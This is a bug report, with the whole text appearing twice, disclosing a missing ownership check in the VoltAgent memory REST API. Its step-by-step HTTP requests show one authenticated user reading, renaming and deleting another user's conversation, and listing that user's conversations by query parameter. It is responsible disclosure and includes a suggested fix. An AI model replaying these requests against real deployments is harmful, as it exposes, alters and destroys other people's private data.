Describe the bug
reported on 2 June 2026 via email but no response:
I am reporting a missing authorization check in the VoltAgent memory REST API that allows any authenticated user to read, modify, and delete another user's conversation history. On the default deployment (no auth configured), the same operations are available to unauthenticated callers.
Summary of the issue:
The handlers in packages/server-core/src/handlers/memory.handlers.ts (handleGetMemoryConversation, handleListMemoryConversationMessages, handleUpdateMemoryConversation, handleDeleteMemoryConversation) fetch and operate on conversations by ID without verifying that the requesting user is the conversation owner. The authenticated user's identity is injected into the request context by the auth middleware but is never read by these handlers.
Steps To Reproduce
(confirmed against voltagent commit 74fe5e9, latest HEAD):
With JWT auth enabled and two users (Alice and Bob each holding a valid token for themselves):
- Alice creates a conversation and saves a message:
POST /api/memory/conversations {"userId":"user-alice","title":"Alice Private"}
--> {"id":"uk7OOubHrbF9pKsL","userId":"user-alice",...}
POST /api/memory/save-messages {"userId":"user-alice","conversationId":"uk7OOubHrbF9pKsL","messages":[{"role":"user","content":"Confidential: Bank account 1234-5678-9012",...}]}
--> {"saved":1}
- Bob (authenticated with his own valid JWT, user-bob) reads Alice's conversation:
GET /api/memory/conversations/uk7OOubHrbF9pKsL/messages
Authorization: Bearer <bob's token>
--> {"conversation":{"userId":"user-alice",...},"messages":[{"parts":[{"text":"Confidential: Bank account 1234-5678-9012"}]}]}
- Bob modifies Alice's conversation metadata:
PATCH /api/memory/conversations/uk7OOubHrbF9pKsL
Authorization: Bearer <bob's token>
{"title":"TAMPERED BY BOB"}
--> {"conversation":{"userId":"user-alice","title":"TAMPERED BY BOB",...}}
- Bob deletes Alice's conversation:
DELETE /api/memory/conversations/uk7OOubHrbF9pKsL
Authorization: Bearer <bob's token>
--> {"deleted":true}
Additionally, GET /api/memory/conversations?userId=user-alice (passing the victim's userId as a query param) returns all of Alice's conversations to any authenticated caller, without checking whether the caller is Alice.
Suggested fix: In each memory handler, extract the authenticated user's identity from the request context and verify it matches the conversation's stored userId before returning or modifying data. The list endpoint should ignore the client-supplied userId parameter and use only the identity from the verified token.
This was tested against the current HEAD commit 74fe5e9 using a locally built server with the published npm packages @voltagent/server-hono and @voltagent/server-core.
Expected behavior
Packages
Additional Context
No response
Describe the bug
reported on 2 June 2026 via email but no response:
I am reporting a missing authorization check in the VoltAgent memory REST API that allows any authenticated user to read, modify, and delete another user's conversation history. On the default deployment (no auth configured), the same operations are available to unauthenticated callers.
Summary of the issue:
The handlers in packages/server-core/src/handlers/memory.handlers.ts (handleGetMemoryConversation, handleListMemoryConversationMessages, handleUpdateMemoryConversation, handleDeleteMemoryConversation) fetch and operate on conversations by ID without verifying that the requesting user is the conversation owner. The authenticated user's identity is injected into the request context by the auth middleware but is never read by these handlers.
Steps To Reproduce
(confirmed against voltagent commit 74fe5e9, latest HEAD):
With JWT auth enabled and two users (Alice and Bob each holding a valid token for themselves):
POST /api/memory/conversations {"userId":"user-alice","title":"Alice Private"}
--> {"id":"uk7OOubHrbF9pKsL","userId":"user-alice",...}
POST /api/memory/save-messages {"userId":"user-alice","conversationId":"uk7OOubHrbF9pKsL","messages":[{"role":"user","content":"Confidential: Bank account 1234-5678-9012",...}]}
--> {"saved":1}
GET /api/memory/conversations/uk7OOubHrbF9pKsL/messages
Authorization: Bearer <bob's token>
--> {"conversation":{"userId":"user-alice",...},"messages":[{"parts":[{"text":"Confidential: Bank account 1234-5678-9012"}]}]}
PATCH /api/memory/conversations/uk7OOubHrbF9pKsL
Authorization: Bearer <bob's token>
{"title":"TAMPERED BY BOB"}
--> {"conversation":{"userId":"user-alice","title":"TAMPERED BY BOB",...}}
DELETE /api/memory/conversations/uk7OOubHrbF9pKsL
Authorization: Bearer <bob's token>
--> {"deleted":true}
Additionally, GET /api/memory/conversations?userId=user-alice (passing the victim's userId as a query param) returns all of Alice's conversations to any authenticated caller, without checking whether the caller is Alice.
Suggested fix: In each memory handler, extract the authenticated user's identity from the request context and verify it matches the conversation's stored userId before returning or modifying data. The list endpoint should ignore the client-supplied userId parameter and use only the identity from the verified token.
This was tested against the current HEAD commit 74fe5e9 using a locally built server with the published npm packages @voltagent/server-hono and @voltagent/server-core.
Expected behavior
Packages
Additional Context
No response